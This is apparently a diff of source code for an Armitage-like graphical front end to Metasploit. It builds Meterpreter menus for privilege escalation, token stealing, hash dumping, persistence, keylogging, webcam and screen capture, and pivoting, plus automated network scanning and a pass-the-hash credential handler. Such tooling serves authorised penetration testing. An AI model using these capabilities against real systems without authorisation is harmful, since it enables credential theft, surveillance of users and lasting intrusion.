||||||
|
$handler = {};
|
||||||
|
}
|
||||||
|
|
||||||
|
[session($1) addCommand: $handler, "$2 $+ \n"];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub parseMeterpreter {
|
||||||
|
local('@temp $command $line $sid $token $response $data $command');
|
||||||
|
|
||||||
|
# called with: sid, token, response
|
||||||
|
($sid, $token, $response) = @_;
|
||||||
|
|
||||||
|
if ($token isa ^MeterpreterClient) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$response = convertAll($3);
|
||||||
|
$data = $response['data'];
|
||||||
|
|
||||||
|
if ("*uploaded*:*->*" iswm $data) {
|
||||||
|
# this is a hack to force the file browser to refresh when a file is uploaded
|
||||||
|
m_cmd($sid, "ls");
|
||||||
|
}
|
||||||
|
else if ("[-]*Unknown command: *" iswm $data) {
|
||||||
|
%handlers["list_tokens"] = $null;
|
||||||
|
%handlers["getuid"] = $null;
|
||||||
|
m_cmd($sid, "load stdapi");
|
||||||
|
m_cmd($sid, "load priv");
|
||||||
|
showError("Loading stdapi. Try command again");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$handler = $token;
|
||||||
|
|
||||||
|
if ($handler !is $null && $0 eq "commandComplete") {
|
||||||
|
local('$h');
|
||||||
|
$h = $handler;
|
||||||
|
[$h begin: $1, $data];
|
||||||
|
@temp = split("\n", $data);
|
||||||
|
foreach $line (@temp) {
|
||||||
|
[$h update: $1, $line];
|
||||||
|
}
|
||||||
|
[$h end: $1, $data];
|
||||||
|
}
|
||||||
|
else if ($handler !is $null && $0 eq "commandTimeout") {
|
||||||
|
[$handler timeout: $1, $data];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub interpretMeterpreterCommand {
|
||||||
|
if ([$1 getActionCommand] eq "shell") {
|
||||||
|
createShellTab($sid);
|
||||||
|
}
|
||||||
|
else if ([$1 getActionCommand] eq "screenshot") {
|
||||||
|
[createScreenshotViewer($sid)];
|
||||||
|
}
|
||||||
|
else if ([$1 getActionCommand] eq "webcam_snap") {
|
||||||
|
[createWebcamViewer($sid)];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# this code creates and managers a meterpreter tab.
|
||||||
|
#
|
||||||
|
sub createMeterpreterTab {
|
||||||
|
local('$session $result $thread $console $old');
|
||||||
|
|
||||||
|
$session = session($1);
|
||||||
|
|
||||||
|
# set up a meterpreter console window
|
||||||
|
$console = [new Console: $preferences];
|
||||||
|
logCheck($console, sessionToHost($1), "meterpreter_ $+ $1");
|
||||||
|
[$console setPopupMenu: lambda(&meterpreterPopup, $session => sessionData($1), $sid => $1)];
|
||||||
|
|
||||||
|
# tab completion for Meterpreter... :D
|
||||||
|
[new TabCompletion: $console, $client, $1, "session.meterpreter_tabs"];
|
||||||
|
|
||||||
|
# set up a listener to read input from the console and dump output back to it.
|
||||||
|
if ("*Windows*" !iswm sessionToOS($1) || ($REMOTE && $mclient is $client)) {
|
||||||
|
[new MeterpreterClient: $console, $session, $null];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[new MeterpreterClient: $console, $session, newInstance(^java.awt.event.ActionListener, lambda(&interpretMeterpreterCommand, $sid => $1))];
|
||||||
|
}
|
||||||
|
|
||||||
|
[$frame addTab: "Meterpreter $1", $console, $null, "Meterpreter " . sessionToHost($1)];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub meterpreterPopup {
|
||||||
|
local('$popup');
|
||||||
|
$popup = [new JPopupMenu];
|
||||||
|
|
||||||
|
showMeterpreterMenu($popup, \$session, \$sid);
|
||||||
|
|
||||||
|
[$popup show: [$2 getSource], [$2 getX], [$2 getY]];
|
||||||
|
}
|
||||||
|
|
||||||
|
sub showMeterpreterMenu {
|
||||||
|
local('$j $platform');
|
||||||
|
|
||||||
|
$platform = lc($session['platform']);
|
||||||
|
|
||||||
|
setupMenu($1, "meterpreter_top", @($sid));
|
||||||
|
|
||||||
|
if ("*win*" iswm $platform) {
|
||||||
|
$j = menu($1, "Access", 'A');
|
||||||
|
|
||||||
|
item($j, "Migrate Now!", 'M', lambda({
|
||||||
|
oneTimeShow("run");
|
||||||
|
m_cmd($sid, "run migrate -f");
|
||||||
|
}, $sid => "$sid"));
|
||||||
|
|
||||||
|
item($j, "Escalate Privileges", 'E', lambda({
|
||||||
|
showPostModules($sid, "*escalate*");
|
||||||
|
}, $sid => "$sid"));
|
||||||
|
|
||||||
|
item($j, "Steal Token" , "S", lambda({
|
||||||
|
m_cmd($sid, "load incognito");
|
||||||
|
stealToken($sid);
|
||||||
|
}, $sid => "$sid"));
|
||||||
|
|
||||||
|
local('$h');
|
||||||
|
$h = menu($j, "Dump Hashes", "D");
|
||||||
|
|
||||||
|
item($h, "lsass method", "l", lambda({
|
||||||
|
m_cmd($sid, "hashdump");
|
||||||
|
}, $sid => "$sid"));
|
||||||
|
|
||||||
|
|
||||||
|
item($h, "registry method", "r", lambda({
|
||||||
|
thread(lambda({
|
||||||
|
launch_dialog("Dump Hashes", "post", "windows/gather/smart_hashdump", 1, $null, %(SESSION => $sid, GETSYSTEM => "1"));
|
||||||
|
}, \$sid));
|
||||||
|
}, $sid => "$sid"));
|
||||||
|
|
||||||
|
item($j, "Persist", 'P', lambda({
|
||||||
|
launch_dialog("Persistence", "post", "windows/manage/persistence", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
|
||||||
|
}, $sid => "$sid"));
|
||||||
|
|
||||||
|
item($j, "Pass Session", 'S', lambda({
|
||||||
|
launch_dialog("Pass Session", "post", "windows/manage/payload_inject", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
|
||||||
|
}, $sid => "$sid"));
|
||||||
|
}
|
||||||
|
|
||||||
|
$j = menu($1, "Interact", 'I');
|
||||||
|
|
||||||
|
if ("*win*" iswm $platform || sessionToOS($sid) eq "Microsoft Windows") {
|
||||||
|
item($j, "Command Shell", 'C', lambda({ createShellTab($sid); }, $sid => "$sid"));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
#item($j, "Command Shell", 'C', lambda({ createCommandTab($sid, "/bin/bash"); }, $sid => "$sid"));
|
||||||
|
}
|
||||||
|
|
||||||
|
item($j, "Meterpreter Shell", 'M', lambda({ createMeterpreterTab($sid); }, $sid => "$sid"));
|
||||||
|
|
||||||
|
if ("*win*" iswm $platform) {
|
||||||
|
item($j, "Desktop (VNC)", 'D', lambda({
|
||||||
|
local('$display');
|
||||||
|
$display = rand(9) . rand(9);
|
||||||
|
%handlers["run"] = lambda({
|
||||||
|
if ($0 eq "begin") {
|
||||||
|
local('$a');
|
||||||
|
$a = iff($REMOTE, $MY_ADDRESS, "127.0.0.1");
|
||||||
|
showError("$2 $+ \nConnect VNC viewer to $a $+ :59 $+ $display (display $display $+ )\n\nIf your connection is refused, you may need to migrate to a \nnew process to set up VNC.");
|
||||||
|
%handlers["run"] = $null;
|
||||||
|
}
|
||||||
|
}, \$display);
|
||||||
|
|
||||||
|
if ($REMOTE) {
|
||||||
|
m_cmd($sid, "run vnc -V -t -O -v 59 $+ $display -p " . randomPort() . " -i");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
m_cmd($sid, "run vnc -V -t -v 59 $+ $display -p " . randomPort() . " -i");
|
||||||
|
}
|
||||||
|
}, $sid => "$sid"));
|
||||||
|
}
|
||||||
|
|
||||||
|
$j = menu($1, "Explore", 'E');
|
||||||
|
item($j, "Browse Files", 'B', lambda({ createFileBrowser($sid, $platform); }, $sid => "$sid", \$platform));
|
||||||
|
item($j, "Show Processes", 'P', lambda({ createProcessBrowser($sid); }, $sid => "$sid"));
|
||||||
|
if ("*win*" iswm $platform) {
|
||||||
|
item($j, "Log Keystrokes", 'K', lambda({
|
||||||
|
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $sid, MIGRATE => 1, ShowKeystrokes => 1));
|
||||||
|
}, $sid => "$sid"));
|
||||||
|
}
|
||||||
|
|
||||||
|
item($j, "Screenshot", 'S', createScreenshotViewer("$sid"));
|
||||||
|
|
||||||
|
if ("*win*" iswm $platform) {
|
||||||
|
item($j, "Webcam Shot", 'W', createWebcamViewer("$sid"));
|
||||||
|
}
|
||||||
|
|
||||||
|
separator($j);
|
||||||
|
|
||||||
|
item($j, "Post Modules", 'M', lambda({ showPostModules($sid); }, $sid => "$sid"));
|
||||||
|
|
||||||
|
$j = menu($1, "Pivoting", 'P');
|
||||||
|
item($j, "Setup...", 'A', setupPivotDialog("$sid"));
|
||||||
|
item($j, "Remove", 'R', lambda({ killPivots($sid, $session); }, \$session, $sid => "$sid"));
|
||||||
|
|
||||||
|
if ("*win*" iswm $platform) {
|
||||||
|
item($1, "ARP Scan...", 'A', setupArpScanDialog("$sid"));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
item($1, "Ping Sweep...", 'P', setupPingSweepDialog("$sid"));
|
||||||
|
}
|
||||||
|
|
||||||
|
setupMenu($1, "meterpreter_bottom", @($sid));
|
||||||
|
|
||||||
|
separator($1);
|
||||||
|
|
||||||
|
item($1, "Kill", 'K', lambda({ cmd_safe("sessions -k $sid"); }, $sid => "$sid"));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub launch_msf_scans {
|
||||||
|
local('@modules $1 $hosts');
|
||||||
|
|
||||||
|
@modules = filter({ return iff("*_version" iswm $1, $1); }, @auxiliary);
|
||||||
|
|
||||||
|
$hosts = iff($1 is $null, ask("Enter range (e.g., 192.168.1.0/24):"), $1);
|
||||||
|
|
||||||
|
thread(lambda({
|
||||||
|
local('$scanner $index $console %ports %discover $port %o $temp');
|
||||||
|
%ports = ohash();
|
||||||
|
%discover = ohash();
|
||||||
|
setMissPolicy(%ports, { return @(); });
|
||||||
|
setMissPolicy(%discover, { return @(); });
|
||||||
|
|
||||||
|
if ($hosts !is $null) {
|
||||||
|
elog("launched msf scans at: $hosts");
|
||||||
|
|
||||||
|
$console = createConsoleTab("Scan", 1, $host => "all", $file => "scan");
|
||||||
|
[$console addSessionListener: lambda({
|
||||||
|
local('$text $host $port $hosts $modules $module @c');
|
||||||
|
|
||||||
|
foreach $text (split("\n", $2)) {
|
||||||
|
if ($text ismatch '... (.*?):(\d+) - TCP OPEN') {
|
||||||
|
($host, $port) = matched();
|
||||||
|
push(%discover[$port], $host);
|
||||||
|
}
|
||||||
|
else if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' && $start == 1) {
|
||||||
|
$start = $null;
|
||||||
|
[[$console getWindow] append: "[*] Starting host discovery scans\n"];
|
||||||
|
|
||||||
|
foreach $port => $hosts (%discover) {
|
||||||
|
if ($port in %ports) {
|
||||||
|
$modules = %ports[$port];
|
||||||
|
foreach $module ($modules) {
|
||||||
|
@c = @("use $module");
|
||||||
|
push(@c, "set RHOSTS " . join(", ", $hosts));
|
||||||
|
push(@c, "set RPORT $port");
|
||||||
|
push(@c, "set THREADS 24");
|
||||||
|
push(@c, "run -j");
|
||||||
|
|
||||||
|
push(@launch, @c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($text ismatch '... Scanned \d+ of \d+ hosts .100. complete.' || $text ismatch '... Auxiliary failed: .*') {
|
||||||
|
if (size(@launch) == 0) {
|
||||||
|
$time = (ticks() - $time) / 1000.0;
|
||||||
|
|
||||||
|
[[$console getWindow] append: "\n[*] Scan complete in $time $+ s\n"];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[[$console getWindow] append: "\n[*] " . size(@launch) . " scan" . iff(size(@launch) != 1, "s") . " to go...\n"];
|
||||||
|
thread(lambda({
|
||||||
|
local('$command');
|
||||||
|
foreach $command ($commands) {
|
||||||
|
[$console sendString: "$command $+ \n"];
|
||||||
|
yield 250;
|
||||||
|
}
|
||||||
|
}, \$console, $commands => shift(@launch)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, \$console, \%ports, \%discover, $start => 1, @launch => @(), $time => ticks())];
|
||||||
|
|
||||||
|
[[$console getWindow] append: "[*] Building list of scan ports and modules\n"];
|
||||||
|
|
||||||
|
# build up a list of scan ports
|
||||||
|
foreach $index => $scanner (@modules) {
|
||||||
|
if ($scanner ismatch 'scanner/(.*?)/\1_version') {
|
||||||
|
%o = call($client, "module.options", "auxiliary", $scanner);
|
||||||
|
if ('RPORT' in %o) {
|
||||||
|
$port = %o['RPORT']['default'];
|
||||||
|
push(%ports[$port], $scanner);
|
||||||
|
}
|
||||||
|
|
||||||
|
safetyCheck();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
|
||||||
|
# for the default ports
|
||||||
|
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
|
||||||
|
$temp = %ports[$port];
|
||||||
|
}
|
||||||
|
|
||||||
|
# add a few left out modules
|
||||||
|
push(%ports['445'], "scanner/smb/smb_version");
|
||||||
|
|
||||||
|
[[$console getWindow] append: "[*] Launching TCP scan\n"];
|
||||||
|
[$console sendString: "use auxiliary/scanner/portscan/tcp\n"];
|
||||||
|
[$console sendString: "set PORTS " . join(", ", keys(%ports)) . "\n"];
|
||||||
|
[$console sendString: "set RHOSTS $hosts $+ \n"];
|
||||||
|
[$console sendString: "set THREADS 24\n"];
|
||||||
|
[$console sendString: "run -j\n"];
|
||||||
|
}
|
||||||
|
}, \$hosts, \@modules));
|
||||||
|
}
|
|
@ -0,0 +1,271 @@
|
||||||
|
#
|
||||||
|
# Process Browser (for Meterpreter)
|
||||||
|
#
|
||||||
|
|
||||||
|
import table.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
sub createModuleBrowser {
|
||||||
|
local('$tree $split $scroll1 $t');
|
||||||
|
$split = [new JSplitPane: [JSplitPane HORIZONTAL_SPLIT], createModuleList(ohash(auxiliary => buildTree(@auxiliary), exploit => buildTree(@exploits), post => buildTree(@post), payload => buildTree(@payloads)), $2), iff($1, $1, [new JPanel])];
|
||||||
|
[$split setOneTouchExpandable: 1];
|
||||||
|
return $split;
|
||||||
|
}
|
||||||
|
|
||||||
|
sub showModulePopup {
|
||||||
|
local('$menu');
|
||||||
|
if (($2 eq "exploit" && "*/browser/*" !iswm $3 && "*/fileformat/*" !iswm $3) || ($2 eq "auxiliary" && "*_login" iswm $3)) {
|
||||||
|
$menu = [new JPopupMenu];
|
||||||
|
item($menu, "Relevant Targets", 'R', lambda({
|
||||||
|
thread(lambda({
|
||||||
|
local('$options %filter $os');
|
||||||
|
$options = call($mclient, "module.options", $type, $module);
|
||||||
|
|
||||||
|
if ("RPORT" in $options) {
|
||||||
|
%filter["ports"] = $options['RPORT']['default'];
|
||||||
|
|
||||||
|
if (%filter["ports"] eq '445') {
|
||||||
|
%filter["ports"] .= ", 139";
|
||||||
|
}
|
||||||
|
else if (%filter["ports"] eq '80') {
|
||||||
|
%filter["ports"] .= ", 443";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$os = split('/', $module)[0];
|
||||||
|
if ($os eq "windows") {
|
||||||
|
%filter["os"] = "windows";
|
||||||
|
}
|
||||||
|
else if ($os eq "linux") {
|
||||||
|
%filter["os"] = "linux";
|
||||||
|
}
|
||||||
|
else if ($os eq "osx") {
|
||||||
|
%filter["os"] = "ios, mac";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (size(%filter) > 0) {
|
||||||
|
thread(lambda({
|
||||||
|
call($mclient, "db.filter", %filter);
|
||||||
|
}, \%filter));
|
||||||
|
[$frame setTitle: "$TITLE - $module"]
|
||||||
|
showError("Created a dynamic workspace for this module.\nUse Workspaces -> Show All to see all hosts.");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
showError("I'm sorry, this option doesn't work for\nthis module.");
|
||||||
|
}
|
||||||
|
}, \$module, \$type));
|
||||||
|
}, $module => $3, $type => $2));
|
||||||
|
|
||||||
|
setupMenu($menu, "module", @($2, $3));
|
||||||
|
|
||||||
|
[$menu show: [$1 getSource], [$1 getX], [$1 getY]];
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
installMenu($1, "module", @($2, $3));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sub moduleAction {
|
||||||
|
local('$type $path $hosts');
|
||||||
|
($type, $path, $hosts) = @_;
|
||||||
|
|
||||||
|
thread(lambda({
|
||||||
|
if ($path in @exploits || $path in @auxiliary || $path in @payloads || $path in @post) {
|
||||||
|
if ($type eq "exploit") {
|
||||||
|
if ('*/browser/*' iswm $path || '*/fileformat/*' iswm $path) {
|
||||||
|
launch_dialog($path, $type, $path, 1, $hosts);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
local('$a $b');
|
||||||
|
$a = call($mclient, "module.info", "exploit", $path);
|
||||||
|
$b = call($mclient, "module.options", "exploit", $path);
|
||||||
|
dispatchEvent(lambda({
|
||||||
|
attack_dialog($a, $b, $hosts, $path);
|
||||||
|
}, \$a, \$b, \$hosts, \$path));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
launch_dialog($path, $type, $path, 1, $hosts);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, \$type, \$path, \$hosts));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createModuleList {
|
||||||
|
local('$tree $split $scroll1 $t');
|
||||||
|
$tree = [new ATree: treeNodes($null, $1)];
|
||||||
|
[$tree setRootVisible: 0];
|
||||||
|
[$tree setDragEnabled: 1];
|
||||||
|
[$tree setTransferHandler: $2];
|
||||||
|
|
||||||
|
addMouseListener($tree, lambda({
|
||||||
|
local('$t');
|
||||||
|
$t = [$1 isPopupTrigger];
|
||||||
|
if ($t == 0 && ($0 ne "mousePressed" || [$1 getClickCount] < 2)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
local('$p');
|
||||||
|
$p = [[$1 getSource] getPathForLocation: [$1 getX], [$1 getY]];
|
||||||
|
if ($p is $null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else if ([$1 isPopupTrigger]) {
|
||||||
|
local('$selected $type $path');
|
||||||
|
$selected = map({ return "$1"; }, [$p getPath]);
|
||||||
|
$type = $selected[1];
|
||||||
|
$path = join('/', sublist($selected, 2));
|
||||||
|
showModulePopup($1, $type, $path);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
local('$selected $type $path $hosts');
|
||||||
|
$selected = map({ return "$1"; }, [$p getPath]);
|
||||||
|
if (size($selected) > 2) {
|
||||||
|
$type = $selected[1];
|
||||||
|
$path = join('/', sublist($selected, 2));
|
||||||
|
$hosts = [$targets getSelectedHosts];
|
||||||
|
moduleAction($type, $path, $hosts);
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
|
||||||
|
$scroll1 = [new JScrollPane: $tree, [JScrollPane VERTICAL_SCROLLBAR_AS_NEEDED], [JScrollPane HORIZONTAL_SCROLLBAR_AS_NEEDED]];
|
||||||
|
|
||||||
|
local('$search $button');
|
||||||
|
$search = [new ATextField: 10];
|
||||||
|
[$search setToolTipText: "Enter a query to filter the MSF modules"];
|
||||||
|
[$search addKeyListener: lambda({
|
||||||
|
this('$id');
|
||||||
|
|
||||||
|
if ($0 ne "keyReleased") {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
local('$model $_id $text');
|
||||||
|
$text = [$search getText];
|
||||||
|
if ($text ne "" && strlen($text) >= 3) {
|
||||||
|
local('$filter %list $a $e $p $o $x $f');
|
||||||
|
$filter = lambda({ return iff(lc("* $+ $s $+ *") iswm lc($1), $1); }, $s => strrep($text, ' ', '*'));
|
||||||
|
%list = ohash();
|
||||||
|
$a = filter($filter, @auxiliary);
|
||||||
|
$e = filter($filter, @exploits);
|
||||||
|
$p = filter($filter, @payloads);
|
||||||
|
$o = filter($filter, @post);
|
||||||
|
if (size($a) > 0) { %list["auxiliary"] = buildTree($a); }
|
||||||
|
if (size($e) > 0) { %list["exploit"] = buildTree($e); }
|
||||||
|
if (size($p) > 0) { %list["payload"] = buildTree($p); }
|
||||||
|
if (size($o) > 0) { %list["post"] = buildTree($o); }
|
||||||
|
|
||||||
|
$_id = [(%list . "") hashCode];
|
||||||
|
|
||||||
|
if ($id ne $_id) {
|
||||||
|
$id = $_id;
|
||||||
|
$model = treeNodes($null, %list);
|
||||||
|
[[$tree getModel] setRoot: $model];
|
||||||
|
|
||||||
|
for ($x = 0; $x < [$tree getRowCount]; $x++) {
|
||||||
|
[$tree expandRow: $x];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$id = -1L;
|
||||||
|
$model = treeNodes($null, $original);
|
||||||
|
[[$tree getModel] setRoot: $model];
|
||||||
|
}
|
||||||
|
}, $original => $1, \$tree, \$search)];
|
||||||
|
|
||||||
|
local('$panel');
|
||||||
|
$panel = [new JPanel];
|
||||||
|
[$panel setLayout: [new BorderLayout]];
|
||||||
|
|
||||||
|
[$panel add: $scroll1, [BorderLayout CENTER]];
|
||||||
|
[$panel add: wrapComponent($search, 5), [BorderLayout SOUTH]];
|
||||||
|
|
||||||
|
[$panel setPreferredSize: [new Dimension: 180, 600] ];
|
||||||
|
[$panel setMinimumSize: [new Dimension: 180, 0]];
|
||||||
|
|
||||||
|
let(&showPostModules, \$tree, \$search)
|
||||||
|
let(&showModules, \$tree, \$search)
|
||||||
|
return $panel;
|
||||||
|
}
|
||||||
|
|
||||||
|
# shows the post modules compatible with a session... for this to work, the
|
||||||
|
# code that creates the module browser must call: let(&showExploitModules, $tree => ..., $search => ...)
|
||||||
|
sub showModules {
|
||||||
|
local('%list $model $1 $2 $3 $4');
|
||||||
|
|
||||||
|
%list = ohash(
|
||||||
|
auxiliary => iff($1, buildTree($1), $null),
|
||||||
|
exploit => iff($2, buildTree($2), $null),
|
||||||
|
payload => iff($3, buildTree($3), $null),
|
||||||
|
post => iff($4, buildTree($4), $null));
|
||||||
|
$model = treeNodes($null, %list);
|
||||||
|
|
||||||
|
dispatchEvent(lambda({
|
||||||
|
local('$x');
|
||||||
|
[[$tree getModel] setRoot: $model];
|
||||||
|
|
||||||
|
for ($x = 0; $x < [$tree getRowCount]; $x++) {
|
||||||
|
[$tree expandRow: $x];
|
||||||
|
}
|
||||||
|
[$search setText: ""];
|
||||||
|
}, \$search, \$tree, \$model));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub showExploitModules {
|
||||||
|
local('%list $model');
|
||||||
|
if (size($1) == 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
showModules($null, $1, $null, $null);
|
||||||
|
}
|
||||||
|
|
||||||
|
# shows the post modules compatible with a session... for this to work, the
|
||||||
|
# code that creates the module browser must call: let(&showPostModules, $tree => ..., $search => ...)
|
||||||
|
sub showPostModules {
|
||||||
|
local('@allowed $2');
|
||||||
|
@allowed = getOS(sessionToOS($1));
|
||||||
|
fork({
|
||||||
|
local('$modules %list $model');
|
||||||
|
$modules = call($client, "session.compatible_modules", $sid)["modules"];
|
||||||
|
$modules = map({ return substr($1, 5); }, $modules);
|
||||||
|
|
||||||
|
# filter out operating systems.
|
||||||
|
$modules = filter(lambda({
|
||||||
|
local('$o');
|
||||||
|
($o) = split('/', $1);
|
||||||
|
return iff($o in @allowed, $1);
|
||||||
|
}, \@allowed), $modules);
|
||||||
|
|
||||||
|
# filter out other stuff if a filter exists...
|
||||||
|
if ($filter !is $null) {
|
||||||
|
$modules = filter(lambda({ return iff($filter iswm $1, $1); }, \$filter), $modules);
|
||||||
|
}
|
||||||
|
|
||||||
|
%list = ohash(post => buildTree($modules));
|
||||||
|
$model = treeNodes($null, %list);
|
||||||
|
|
||||||
|
dispatchEvent(lambda({
|
||||||
|
local('$x');
|
||||||
|
[[$tree getModel] setRoot: $model];
|
||||||
|
|
||||||
|
for ($x = 0; $x < [$tree getRowCount]; $x++) {
|
||||||
|
[$tree expandRow: $x];
|
||||||
|
}
|
||||||
|
[$search setText: ""];
|
||||||
|
}, \$search, \$tree, \$model));
|
||||||
|
}, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createModuleBrowserTab {
|
||||||
|
[$frame addTab: "Modules", createModuleBrowser(), $null];
|
||||||
|
}
|
|
@ -0,0 +1,332 @@
|
||||||
|
#
|
||||||
|
# pass the hash attack gets its own file.
|
||||||
|
#
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.table.*;
|
||||||
|
|
||||||
|
import msf.*;
|
||||||
|
import table.*;
|
||||||
|
import ui.*;
|
||||||
|
|
||||||
|
%handlers["hashdump"] = {
|
||||||
|
this('$host $safe $queue');
|
||||||
|
|
||||||
|
if ($0 eq "begin" && "*Unknown command*hashdump*" iswm $2) {
|
||||||
|
$host = $null;
|
||||||
|
|
||||||
|
if ($safe is $null) {
|
||||||
|
$safe = 1;
|
||||||
|
m_cmd($1, "use priv");
|
||||||
|
m_cmd($1, "hashdump");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
showError("hashdump is not available here");
|
||||||
|
$safe = $null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ($0 eq "execute") {
|
||||||
|
$host = sessionToHost($1);
|
||||||
|
$queue = [new armitage.ConsoleQueue: $client];
|
||||||
|
[$queue start];
|
||||||
|
elog("dumped hashes on $host");
|
||||||
|
showError("Dumping Hashes.\nUse View -> Credentials to see them.");
|
||||||
|
}
|
||||||
|
else if ($0 eq "update" && $host !is $null && $2 ismatch '(.*?):(\d+):([a-zA-Z0-9]+:[a-zA-Z0-9]+).*?') {
|
||||||
|
local('$user $gid $hash');
|
||||||
|
($user, $gid, $hash) = matched();
|
||||||
|
|
||||||
|
# strip any funky characters that will cause this call to throw an exception
|
||||||
|
$user = replace($user, '\P{Graph}', "");
|
||||||
|
|
||||||
|
[$queue addCommand: $null, "creds -a $host -p 445 -t smb_hash -u $user -P $hash"];
|
||||||
|
}
|
||||||
|
else if ($0 eq "end" && ("*Error running*" iswm $2 || "*Operation failed*" iswm $2)) {
|
||||||
|
[$queue stop];
|
||||||
|
showError("Hash dump failed. Ask yourself:\n\n1) Do I have system privileges?\n\nNo? Then use Access -> Escalate Privileges\n\n2) Is meterpreter running in a process owned\nby a System user?\n\nNo? Use Explore -> Show Processes and migrate\nto a process owned by a System user.");
|
||||||
|
$host = $null;
|
||||||
|
}
|
||||||
|
else if ($0 eq "end" && $host !is $null) {
|
||||||
|
[$queue stop];
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
sub refreshCredsTable {
|
||||||
|
thread(lambda({
|
||||||
|
[Thread yield];
|
||||||
|
local('$creds $cred');
|
||||||
|
[$model clear: 128];
|
||||||
|
$creds = call($mclient, "db.creds2", [new HashMap])["creds2"];
|
||||||
|
foreach $cred ($creds) {
|
||||||
|
if ($title ne "login" || $cred['ptype'] ne "smb_hash") {
|
||||||
|
[$model addEntry: $cred];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
[$model fireListeners];
|
||||||
|
}, $model => $1, $title => $2));
|
||||||
|
}
|
||||||
|
|
||||||
|
sub show_hashes {
|
||||||
|
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll');
|
||||||
|
|
||||||
|
$dialog = dialog($1, 480, $2);
|
||||||
|
|
||||||
|
$model = [new GenericTableModel: @("user", "pass", "host"), "user", 128];
|
||||||
|
|
||||||
|
$table = [new ATable: $model];
|
||||||
|
$sorter = [new TableRowSorter: $model];
|
||||||
|
[$sorter toggleSortOrder: 0];
|
||||||
|
[$sorter setComparator: 2, &compareHosts];
|
||||||
|
[$table setRowSorter: $sorter];
|
||||||
|
|
||||||
|
refreshCredsTable($model, $1);
|
||||||
|
|
||||||
|
$scroll = [new JScrollPane: $table];
|
||||||
|
[$scroll setPreferredSize: [new Dimension: 480, 130]];
|
||||||
|
[$dialog add: $scroll, [BorderLayout CENTER]];
|
||||||
|
|
||||||
|
return @($dialog, $table, $model);
|
||||||
|
}
|
||||||
|
|
||||||
|
sub createCredentialsTab {
|
||||||
|
local('$dialog $table $model $panel $export $crack $refresh');
|
||||||
|
($dialog, $table, $model) = show_hashes("", 320);
|
||||||
|
